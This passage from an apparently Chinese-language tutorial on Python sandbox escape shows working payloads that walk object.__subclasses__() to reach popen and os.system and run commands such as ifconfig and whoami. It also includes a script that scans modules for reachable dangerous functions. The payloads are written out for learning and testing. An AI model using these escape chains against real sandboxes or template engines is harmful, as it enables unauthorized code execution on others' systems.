listxattr>, 'get_terminal_size': <built-in function get_terminal_size>, 'cpu_count': <built-in function cpu_count>, 'get_inheritable': <built-in function get_inheritable>, 'set_inheritable': <built-in function set_inheritable>, 'get_blocking': <built-in function get_blocking>, 'set_blocking': <built-in function set_blocking>, 'scandir': <built-in function scandir>, 'fspath': <built-in function fspath>, 'getrandom': <built-in function getrandom>, 'memfd_create': <built-in function memfd_create>, 'waitstatus_to_exitcode': <built-in function waitstatus_to_exitcode>, 'environ': environ({'COLORTERM': 'truecolor', 'DISPLAY': ':0.0', 'LANG': 'en_US.UTF-8', 'LANGUAGE': '', 'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games', 'TERM': 'xterm-256color', 'XAUTHORITY': '/home/kali/.Xauthority', 'LS_COLORS': 'rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36::ow=30;44:', 'MAIL': '/var/mail/root', 'LOGNAME': 'root', 'USER': 'root', 'HOME': '/root', 'SHELL': '/usr/bin/zsh', 'SUDO_COMMAND': '/usr/bin/su', 'SUDO_USER': 'kali', 'SUDO_UID': '1000', 'SUDO_GID': '1000', 'COMMAND_NOT_FOUND_INSTALL_PROMPT': '1', 'POWERSHELL_UPDATECHECK': 'Off', 'POWERSHELL_TELEMETRY_OPTOUT': '1', 'DOTNET_CLI_TELEMETRY_OPTOUT': '1', 'SHLVL': '1', 'PWD': '/home/kali/Desktop', 'OLDPWD': '/home/kali', 'LESS_TERMCAP_mb': '\x1b[1;31m', 'LESS_TERMCAP_md': '\x1b[1;36m', 'LESS_TERMCAP_me': '\x1b[0m', 'LESS_TERMCAP_so': '\x1b[01;33m', 'LESS_TERMCAP_se': '\x1b[0m', 'LESS_TERMCAP_us': '\x1b[1;32m', 'LESS_TERMCAP_ue': '\x1b[0m', '_': '/usr/bin/python3'}), 'F_OK': 0, 'R_OK': 4, 'W_OK': 2, 'X_OK': 1, 'NGROUPS_MAX': 65536, 'TMP_MAX': 238328, 'WCONTINUED': 8, 'WNOHANG': 1, 'WUNTRACED': 2, 'O_RDONLY': 0, 'O_WRONLY': 1, 'O_RDWR': 2, 'O_NDELAY': 2048, 'O_NONBLOCK': 2048, 'O_APPEND': 1024, 'O_DSYNC': 4096, 'O_RSYNC': 1052672, 'O_SYNC': 1052672, 'O_NOCTTY': 256, 'O_CREAT': 64, 'O_EXCL': 128, 'O_TRUNC': 512, 'O_LARGEFILE': 0, 'O_PATH': 2097152, 'O_TMPFILE': 4259840, 'PRIO_PROCESS': 0, 'PRIO_PGRP': 1, 'PRIO_USER': 2, 'O_CLOEXEC': 524288, 'O_ACCMODE': 3, 'SEEK_HOLE': 4, 'SEEK_DATA': 3, 'O_ASYNC': 8192, 'O_DIRECT': 16384, 'O_DIRECTORY': 65536, 'O_NOFOLLOW': 131072, 'O_NOATIME': 262144, 'EX_OK': 0, 'EX_USAGE': 64, 'EX_DATAERR': 65, 'EX_NOINPUT': 66, 'EX_NOUSER': 67, 'EX_NOHOST': 68, 'EX_UNAVAILABLE': 69, 'EX_SOFTWARE': 70, 'EX_OSERR': 71, 'EX_OSFILE': 72, 'EX_CANTCREAT': 73, 'EX_IOERR': 74, 'EX_TEMPFAIL': 75, 'EX_PROTOCOL': 76, 'EX_NOPERM': 77, 'EX_CONFIG': 78, 'ST_RDONLY': 1, 'ST_NOSUID': 2, 'ST_NODEV': 4, 'ST_NOEXEC': 8, 'ST_SYNCHRONOUS': 16, 'ST_MANDLOCK': 64, 'ST_WRITE': 128, 'ST_APPEND': 256, 'ST_NOATIME': 1024, 'ST_NODIRATIME': 2048, 'ST_RELATIME': 4096, 'POSIX_FADV_NORMAL': 0, 'POSIX_FADV_SEQUENTIAL': 2, 'POSIX_FADV_RANDOM': 1, 'POSIX_FADV_NOREUSE': 5, 'POSIX_FADV_WILLNEED': 3, 'POSIX_FADV_DONTNEED': 4, 'P_PID': 1, 'P_PGID': 2, 'P_ALL': 0, 'P_PIDFD': 3, 'WEXITED': 4, 'WNOWAIT': 16777216, 'WSTOPPED': 2, 'CLD_EXITED': 1, 'CLD_KILLED': 2, 'CLD_DUMPED': 3, 'CLD_TRAPPED': 4, 'CLD_STOPPED': 5, 'CLD_CONTINUED': 6, 'F_LOCK': 1, 'F_TLOCK': 2, 'F_ULOCK': 0, 'F_TEST': 3, 'RWF_DSYNC': 2, 'RWF_HIPRI': 1, 'RWF_SYNC': 4, 'RWF_NOWAIT': 8, 'POSIX_SPAWN_OPEN': 0, 'POSIX_SPAWN_CLOSE': 1, 'POSIX_SPAWN_DUP2': 2, 'SCHED_OTHER': 0, 'SCHED_FIFO': 1, 'SCHED_RR': 2, 'SCHED_BATCH': 3, 'SCHED_IDLE': 5, 'SCHED_RESET_ON_FORK': 1073741824, 'XATTR_CREATE': 1, 'XATTR_REPLACE': 2, 'XATTR_SIZE_MAX': 65536, 'RTLD_LAZY': 1, 'RTLD_NOW': 2, 'RTLD_GLOBAL': 256, 'RTLD_LOCAL': 0, 'RTLD_NODELETE': 4096, 'RTLD_NOLOAD': 4, 'RTLD_DEEPBIND': 8, 'GRND_RANDOM': 2, 'GRND_NONBLOCK': 1, 'MFD_CLOEXEC': 1, 'MFD_ALLOW_SEALING': 2, 'MFD_HUGETLB': 4, 'MFD_HUGE_SHIFT': 26, 'MFD_HUGE_MASK': 63, 'MFD_HUGE_64KB': 1073741824, 'MFD_HUGE_512KB': 1275068416, 'MFD_HUGE_1MB': 1342177280, 'MFD_HUGE_2MB': 1409286144, 'MFD_HUGE_8MB': 1543503872, 'MFD_HUGE_16MB': 1610612736, 'MFD_HUGE_32MB': 1677721600, 'MFD_HUGE_256MB': 1879048192, 'MFD_HUGE_512MB': 1946157056, 'MFD_HUGE_1GB': 2013265920, 'MFD_HUGE_2GB': 2080374784, 'MFD_HUGE_16GB': -2013265920, 'pathconf_names': {'PC_ALLOC_SIZE_MIN': 18, 'PC_ASYNC_IO': 10, 'PC_CHOWN_RESTRICTED': 6, 'PC_FILESIZEBITS': 13, 'PC_LINK_MAX': 0, 'PC_MAX_CANON': 1, 'PC_MAX_INPUT': 2, 'PC_NAME_MAX': 3, 'PC_NO_TRUNC': 7, 'PC_PATH_MAX': 4, 'PC_PIPE_BUF': 5, 'PC_PRIO_IO': 11, 'PC_REC_INCR_XFER_SIZE': 14, 'PC_REC_MAX_XFER_SIZE': 15, 'PC_REC_MIN_XFER_SIZE': 16, 'PC_REC_XFER_ALIGN': 17, 'PC_SOCK_MAXBUF': 12, 'PC_SYMLINK_MAX': 19, 'PC_SYNC_IO': 9, 'PC_VDISABLE': 8}, 'confstr_names': {'CS_GNU_LIBC_VERSION': 2, 'CS_GNU_LIBPTHREAD_VERSION': 3, 'CS_LFS64_CFLAGS': 1004, 'CS_LFS64_LDFLAGS': 1005, 'CS_LFS64_LIBS': 1006, 'CS_LFS64_LINTFLAGS': 1007, 'CS_LFS_CFLAGS': 1000, 'CS_LFS_LDFLAGS': 1001, 'CS_LFS_LIBS': 1002, 'CS_LFS_LINTFLAGS': 1003, 'CS_PATH': 0, 'CS_XBS5_ILP32_OFF32_CFLAGS': 1100, 'CS_XBS5_ILP32_OFF32_LDFLAGS': 1101, 'CS_XBS5_ILP32_OFF32_LIBS': 1102, 'CS_XBS5_ILP32_OFF32_LINTFLAGS': 1103, 'CS_XBS5_ILP32_OFFBIG_CFLAGS': 1104, 'CS_XBS5_ILP32_OFFBIG_LDFLAGS': 1105, 'CS_XBS5_ILP32_OFFBIG_LIBS': 1106, 'CS_XBS5_ILP32_OFFBIG_LINTFLAGS': 1107, 'CS_XBS5_LP64_OFF64_CFLAGS': 1108, 'CS_XBS5_LP64_OFF64_LDFLAGS': 1109, 'CS_XBS5_LP64_OFF64_LIBS': 1110, 'CS_XBS5_LP64_OFF64_LINTFLAGS': 1111, 'CS_XBS5_LPBIG_OFFBIG_CFLAGS': 1112, 'CS_XBS5_LPBIG_OFFBIG_LDFLAGS': 1113, 'CS_XBS5_LPBIG_OFFBIG_LIBS': 1114, 'CS_XBS5_LPBIG_OFFBIG_LINTFLAGS': 1115}, 'sysconf_names': {'SC_2_CHAR_TERM': 95, 'SC_2_C_BIND': 47, 'SC_2_C_DEV': 48, 'SC_2_C_VERSION': 96, 'SC_2_FORT_DEV': 49, 'SC_2_FORT_RUN': 50, 'SC_2_LOCALEDEF': 52, 'SC_2_SW_DEV': 51, 'SC_2_UPE': 97, 'SC_2_VERSION': 46, 'SC_AIO_LISTIO_MAX': 23, 'SC_AIO_MAX': 24, 'SC_AIO_PRIO_DELTA_MAX': 25, 'SC_ARG_MAX': 0, 'SC_ASYNCHRONOUS_IO': 12, 'SC_ATEXIT_MAX': 87, 'SC_AVPHYS_PAGES': 86, 'SC_BC_BASE_MAX': 36, 'SC_BC_DIM_MAX': 37, 'SC_BC_SCALE_MAX': 38, 'SC_BC_STRING_MAX': 39, 'SC_CHARCLASS_NAME_MAX': 45, 'SC_CHAR_BIT': 101, 'SC_CHAR_MAX': 102, 'SC_CHAR_MIN': 103, 'SC_CHILD_MAX': 1, 'SC_CLK_TCK': 2, 'SC_COLL_WEIGHTS_MAX': 40, 'SC_DELAYTIMER_MAX': 26, 'SC_EQUIV_CLASS_MAX': 41, 'SC_EXPR_NEST_MAX': 42, 'SC_FSYNC': 15, 'SC_GETGR_R_SIZE_MAX': 69, 'SC_GETPW_R_SIZE_MAX': 70, 'SC_INT_MAX': 104, 'SC_INT_MIN': 105, 'SC_IOV_MAX': 60, 'SC_JOB_CONTROL': 7, 'SC_LINE_MAX': 43, 'SC_LOGIN_NAME_MAX': 71, 'SC_LONG_BIT': 106, 'SC_MAPPED_FILES': 16, 'SC_MB_LEN_MAX': 108, 'SC_MEMLOCK': 17, 'SC_MEMLOCK_RANGE': 18, 'SC_MEMORY_PROTECTION': 19, 'SC_MESSAGE_PASSING': 20, 'SC_MQ_OPEN_MAX': 27, 'SC_MQ_PRIO_MAX': 28, 'SC_NGROUPS_MAX': 3, 'SC_NL_ARGMAX': 119, 'SC_NL_LANGMAX': 120, 'SC_NL_MSGMAX': 121, 'SC_NL_NMAX': 122, 'SC_NL_SETMAX': 123, 'SC_NL_TEXTMAX': 124, 'SC_NPROCESSORS_CONF': 83, 'SC_NPROCESSORS_ONLN': 84, 'SC_NZERO': 109, 'SC_OPEN_MAX': 4, 'SC_PAGESIZE': 30, 'SC_PAGE_SIZE': 30, 'SC_PASS_MAX': 88, 'SC_PHYS_PAGES': 85, 'SC_PII': 53, 'SC_PII_INTERNET': 56, 'SC_PII_INTERNET_DGRAM': 62, 'SC_PII_INTERNET_STREAM': 61, 'SC_PII_OSI': 57, 'SC_PII_OSI_CLTS': 64, 'SC_PII_OSI_COTS': 63, 'SC_PII_OSI_M': 65, 'SC_PII_SOCKET': 55, 'SC_PII_XTI': 54, 'SC_POLL': 58, 'SC_PRIORITIZED_IO': 13, 'SC_PRIORITY_SCHEDULING': 10, 'SC_REALTIME_SIGNALS': 9, 'SC_RE_DUP_MAX': 44, 'SC_RTSIG_MAX': 31, 'SC_SAVED_IDS': 8, 'SC_SCHAR_MAX': 111, 'SC_SCHAR_MIN': 112, 'SC_SELECT': 59, 'SC_SEMAPHORES': 21, 'SC_SEM_NSEMS_MAX': 32, 'SC_SEM_VALUE_MAX': 33, 'SC_SHARED_MEMORY_OBJECTS': 22, 'SC_SHRT_MAX': 113, 'SC_SHRT_MIN': 114, 'SC_SIGQUEUE_MAX': 34, 'SC_SSIZE_MAX': 110, 'SC_STREAM_MAX': 5, 'SC_SYNCHRONIZED_IO': 14, 'SC_THREADS': 67, 'SC_THREAD_ATTR_STACKADDR': 77, 'SC_THREAD_ATTR_STACKSIZE': 78, 'SC_THREAD_DESTRUCTOR_ITERATIONS': 73, 'SC_THREAD_KEYS_MAX': 74, 'SC_THREAD_PRIORITY_SCHEDULING': 79, 'SC_THREAD_PRIO_INHERIT': 80, 'SC_THREAD_PRIO_PROTECT': 81, 'SC_THREAD_PROCESS_SHARED': 82, 'SC_THREAD_SAFE_FUNCTIONS': 68, 'SC_THREAD_STACK_MIN': 75, 'SC_THREAD_THREADS_MAX': 76, 'SC_TIMERS': 11, 'SC_TIMER_MAX': 35, 'SC_TTY_NAME_MAX': 72, 'SC_TZNAME_MAX': 6, 'SC_T_IOV_MAX': 66, 'SC_UCHAR_MAX': 115, 'SC_UINT_MAX': 116, 'SC_UIO_MAXIOV': 60, 'SC_ULONG_MAX': 117, 'SC_USHRT_MAX': 118, 'SC_VERSION': 29, 'SC_WORD_BIT': 107, 'SC_XBS5_ILP32_OFF32': 125, 'SC_XBS5_ILP32_OFFBIG': 126, 'SC_XBS5_LP64_OFF64': 127, 'SC_XBS5_LPBIG_OFFBIG': 128, 'SC_XOPEN_CRYPT': 92, 'SC_XOPEN_ENH_I18N': 93, 'SC_XOPEN_LEGACY': 129, 'SC_XOPEN_REALTIME': 130, 'SC_XOPEN_REALTIME_THREADS': 131, 'SC_XOPEN_SHM': 94, 'SC_XOPEN_UNIX': 91, 'SC_XOPEN_VERSION': 89, 'SC_XOPEN_XCU_VERSION': 90, 'SC_XOPEN_XPG2': 98, 'SC_XOPEN_XPG3': 99, 'SC_XOPEN_XPG4': 100}, 'error': <class 'OSError'>, 'waitid_result': <class 'posix.waitid_result'>, 'stat_result': <class 'os.stat_result'>, 'statvfs_result': <class 'os.statvfs_result'>, 'sched_param': <class 'posix.sched_param'>, 'terminal_size': <class 'os.terminal_size'>, 'DirEntry': <class 'posix.DirEntry'>, 'times_result': <class 'posix.times_result'>, 'uname_result': <class 'posix.uname_result'>, '_exit': <built-in function _exit>, 'path': <module 'posixpath' from '/usr/lib/python3.9/posixpath.py'>, 'curdir': '.', 'pardir': '..', 'sep': '/', 'pathsep': ':', 'defpath': '/bin:/usr/bin', 'extsep': '.', 'altsep': None, 'devnull': '/dev/null', 'supports_dir_fd': {<built-in function chown>, <built-in function mknod>, <built-in function open>, <built-in function link>, <built-in function mkfifo>, <built-in function readlink>, <built-in function unlink>, <built-in function stat>, <built-in function utime>, <built-in function mkdir>, <built-in function rename>, <built-in function chmod>, <built-in function rmdir>, <built-in function symlink>, <built-in function access>}, 'supports_effective_ids': {<built-in function access>}, 'supports_fd': {<built-in function chown>, <built-in function scandir>, <built-in function execve>, <built-in function statvfs>, <built-in function truncate>, <built-in function listdir>, <built-in function stat>, <built-in function utime>, <built-in function chmod>, <built-in function chdir>, <built-in function pathconf>}, 'supports_follow_symlinks': {<built-in function chown>, <built-in function link>, <built-in function stat>, <built-in function utime>, <built-in function access>}, 'SEEK_SET': 0, 'SEEK_CUR': 1, 'SEEK_END': 2, 'makedirs': <function makedirs at 0x7fc7ef547af0>, 'removedirs': <function removedirs at 0x7fc7ef46b280>, 'renames': <function renames at 0x7fc7ef46b310>, 'walk': <function walk at 0x7fc7ef46b3a0>, '_walk': <function _walk at 0x7fc7ef46b430>, 'fwalk': <function fwalk at 0x7fc7ef46b4c0>, '_fwalk': <function _fwalk at 0x7fc7ef46b550>, 'execl': <function execl at 0x7fc7ef46b5e0>, 'execle': <function execle at 0x7fc7ef46b670>, 'execlp': <function execlp at 0x7fc7ef46b700>, 'execlpe': <function execlpe at 0x7fc7ef46b790>, 'execvp': <function execvp at 0x7fc7ef46b820>, 'execvpe': <function execvpe at 0x7fc7ef46b8b0>, '_execvpe': <function _execvpe at 0x7fc7ef46b940>, 'get_exec_path': <function get_exec_path at 0x7fc7ef46b9d0>, 'MutableMapping': <class 'collections.abc.MutableMapping'>, 'Mapping': <class 'collections.abc.Mapping'>, '_Environ': <class 'os._Environ'>, 'getenv': <function getenv at 0x7fc7ef46ba60>, 'supports_bytes_environ': True, 'environb': environ({b'COLORTERM': b'truecolor', b'DISPLAY': b':0.0', b'LANG': b'en_US.UTF-8', b'LANGUAGE': b'', b'PATH': b'/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games', b'TERM': b'xterm-256color', b'XAUTHORITY': b'/home/kali/.Xauthority', b'LS_COLORS': b'rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36::ow=30;44:', b'MAIL': b'/var/mail/root', b'LOGNAME': b'root', b'USER': b'root', b'HOME': b'/root', b'SHELL': b'/usr/bin/zsh', b'SUDO_COMMAND': b'/usr/bin/su', b'SUDO_USER': b'kali', b'SUDO_UID': b'1000', b'SUDO_GID': b'1000', b'COMMAND_NOT_FOUND_INSTALL_PROMPT': b'1', b'POWERSHELL_UPDATECHECK': b'Off', b'POWERSHELL_TELEMETRY_OPTOUT': b'1', b'DOTNET_CLI_TELEMETRY_OPTOUT': b'1', b'SHLVL': b'1', b'PWD': b'/home/kali/Desktop', b'OLDPWD': b'/home/kali', b'LESS_TERMCAP_mb': b'\x1b[1;31m', b'LESS_TERMCAP_md': b'\x1b[1;36m', b'LESS_TERMCAP_me': b'\x1b[0m', b'LESS_TERMCAP_so': b'\x1b[01;33m', b'LESS_TERMCAP_se': b'\x1b[0m', b'LESS_TERMCAP_us': b'\x1b[1;32m', b'LESS_TERMCAP_ue': b'\x1b[0m', b'_': b'/usr/bin/python3'}), 'getenvb': <function getenvb at 0x7fc7ef46d3a0>, 'fsencode': <function _fscodec.<locals>.fsencode at 0x7fc7ef46d4c0>, 'fsdecode': <function _fscodec.<locals>.fsdecode at 0x7fc7ef46d550>, 'P_WAIT': 0, 'P_NOWAIT': 1, 'P_NOWAITO': 1, '_spawnvef': <function _spawnvef at 0x7fc7ef46d430>, 'spawnv': <function spawnv at 0x7fc7ef46d5e0>, 'spawnve': <function spawnve at 0x7fc7ef46d670>, 'spawnvp': <function spawnvp at 0x7fc7ef46d700>, 'spawnvpe': <function spawnvpe at 0x7fc7ef46d790>, 'spawnl': <function spawnl at 0x7fc7ef46d820>, 'spawnle': <function spawnle at 0x7fc7ef46d8b0>, 'spawnlp': <function spawnlp at 0x7fc7ef46d940>, 'spawnlpe': <function spawnlpe at 0x7fc7ef46d9d0>, 'popen': <function popen at 0x7fc7ef46da60>, '_wrap_close': <class 'os._wrap_close'>, 'fdopen': <function fdopen at 0x7fc7ef46daf0>, '_fspath': <function _fspath at 0x7fc7ef46dee0>, 'PathLike': <class 'os.PathLike'>}

找到popen函数

>>> "".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']("ifconfig").read()
'eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500\n inet 10.18.69.174 netmask 255.255.248.0 broadcast 10.18.71.255\n inet6 fe80::20c:29ff:fe7d:da26 prefixlen 64 scopeid 0x20<link>\n ether 00:0c:29:7d:da:26 txqueuelen 1000 (Ethernet)\n RX packets 16954 bytes 8157718 (7.7 MiB)\n RX errors 0 dropped 1538 overruns 0 frame 0\n TX packets 5464 bytes 503024 (491.2 KiB)\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\n\nlo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536\n inet 127.0.0.1 netmask 255.0.0.0\n inet6 ::1 prefixlen 128 scopeid 0x10<host>\n loop txqueuelen 1000 (Local Loopback)\n RX packets 187 bytes 17050 (16.6 KiB)\n RX errors 0 dropped 0 overruns 0 frame 0\n TX packets 187 bytes 17050 (16.6 KiB)\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\n\n'

如果是python2那么还是用这个方法找

>>> for i in enumerate([].__class__.__bases__[0].__subclasses__()): 
print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
(44, <type 'iterator'>)
(45, <type 'sys.long_info'>)
(46, <type 'sys.float_info'>)
(47, <type 'EncodingMap'>)
(48, <type 'fieldnameiterator'>)
(49, <type 'formatteriterator'>)
(50, <type 'sys.version_info'>)
(51, <type 'sys.flags'>)
(52, <type 'exceptions.BaseException'>)
(53, <type 'module'>)
(54, <type 'imp.NullImporter'>)
(55, <type 'zipimport.zipimporter'>)
(56, <type 'posix.stat_result'>)
(57, <type 'posix.statvfs_result'>)
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(62, <class '_abcoll.Hashable'>)
(63, <type 'classmethod'>)
(64, <class '_abcoll.Iterable'>)
(65, <class '_abcoll.Sized'>)
(66, <class '_abcoll.Container'>)
(67, <class '_abcoll.Callable'>)
(68, <type 'dict_keys'>)
(69, <type 'dict_items'>)
(70, <type 'dict_values'>)
(71, <class 'site._Printer'>)
(72, <class 'site._Helper'>)
(73, <type '_sre.SRE_Pattern'>)
(74, <type '_sre.SRE_Match'>)
(75, <type '_sre.SRE_Scanner'>)
(76, <class 'site.Quitter'>)
(77, <class 'codecs.IncrementalEncoder'>)
(78, <class 'codecs.IncrementalDecoder'>)
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].os.system('whoami')
root

我们直接看下python2中的逻辑

cat /usr/lib/python2.7/warnings.py

可以看到导入了3个包

import linecache
import sys
import types

然后再接着看

cat /usr/lib/python2.7/linecache.py

可以看到导入了2个包

import sys
import os

那么久可以构成了这个代码

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].os.system('whoami')

特殊函数查找

首先去Python的GitHub主页,找到所有的模块列表:

通过脚本进行筛选,执行方式看代码注释

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2022-09-22 13:30:58
# @Author : ascotbe (ascotbe@gmail.org)
# @Link : https://www.ascotbe.com/
import codecs
import sys
from collections import defaultdict
import requests
def get_file_name(url):
file_name=[]
file_name_txt=""
a=requests.get(url)
for i in a.json():
file_name.append(i['name'])
file_name_txt+=i['name']+"\n"
open("python.txt","w").write(file_name_txt)
with codecs.open('python.txt', 'r', encoding='UTF-8') as f:
modules = f.readlines()
modules = [m.strip().replace('.py', '') for m in modules]
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys', 'commands']
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open', 'codecs']
all_targets = target_modules + target_functions
results = defaultdict(list)
for m in modules:
try:
module = __import__(m)
except Exception as e:
print('ERROR:', m)
for t in all_targets:
if t in module.__dict__:
results[m.encode()].append(t)
print("可利用模块数量为:"+str(len(results)))
for k, v in results.items():
print(k, v)
return results
def python2(results):
find_modules=results
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']
all_targets = list(set(find_modules.keys() + target_modules + target_functions))
all_modules = list(set(find_modules.keys() + target_modules))
subclasses = ().__class__.__bases__[0].__subclasses__()
sub_name = [s.__name__ for s in subclasses]

# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
print('----------1-----------')
for i, s in enumerate(sub_name):
for f in all_targets:
if f == s:
if f in target_functions:
print(i, f)
elif f in all_modules:
target = find_modules[f]
sub_dict = subclasses[i].__dict__
for t in target:
if t in sub_dict:
print(i, f, target)
print('----------2-----------')
# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.func_globals
for m in all_targets:
if m in more:
print(i, sub, m, find_modules.get(m))
except Exception as e:
pass
print('----------3-----------')
# 第三种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.func_globals.values()
for j, v in enumerate(more):
for f in all_targets:
try:
if f in v:
if f in target_functions:
print(i, j, sub, f)
elif f in all_modules:
target = find_modules.get(f)
sub_dict = v[f].__dict__
for t in target:
if t in sub_dict:
print(i, j, sub, f, target)
except Exception as e:
pass
except Exception as e:
pass
print('----------4-----------')
